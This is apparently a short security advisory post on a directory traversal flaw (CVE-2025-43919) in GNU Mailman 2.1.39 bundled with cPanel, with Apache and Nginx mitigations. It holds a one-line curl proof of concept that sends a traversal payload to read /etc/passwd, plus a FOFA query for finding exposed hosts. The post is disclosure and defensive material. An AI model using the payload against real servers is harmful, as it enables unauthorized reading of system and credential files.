CVE-2025-43919-POC

🚨 CVE-2025-43919: Directory Traversal in GNU Mailman 2.1.39 (cPanel/WHM)

A new vulnerability has been discovered in GNU Mailman 2.1.39, bundled with cPanel/WHM, allowing unauthenticated remote attackers to read arbitrary files on the server via a directory traversal flaw.

📌 Vulnerability Summary:

• Type: Directory Traversal (Unauthenticated)
• Component: private.py CGI script
• Affected Endpoint: /mailman/private/mailman
• Impact: Disclosure of files like /etc/passwd, .mbox archives, and Mailman configs
• CVSS Score: 5.8 (Medium)
• CVE ID: CVE-2025-43919

Status: No official patch (Mailman 2.1.x is EOL)

🔥 Proof of Concept:

curl -X POST -d "username=../../../../etc/passwd&password=x&submit=Let+me+in..." \
http://target/mailman/private/mailman

🧨 Exploitation Scenarios:

• Dump /etc/passwd, configs, or mailbox files
• Leak credentials and sensitive archives
• Chain with other bugs for RCE or escalation

🛡️ Mitigations: Block access to /mailman/private at the web server level:

<Location "/mailman/private">
    Require ip 127.0.0.1
    Deny from all
</Location>

Or in Nginx:

location /mailman/private {
    deny all;
    return 403;
}

⬆️ Migrate to Mailman 3.x — 2.x is EOL and lacks modern protections

🔍 FOFA Query : app="Mailman"

📚 Learn more, share responsibly, and keep your infra secure.

🔒 Follow for more real-world CVEs, PoCs, and hardening tips: 👉 @cybersecplayground

#bugbounty #infosec #exploit #pentest #cve2025 #directorytraversal #linuxsecurity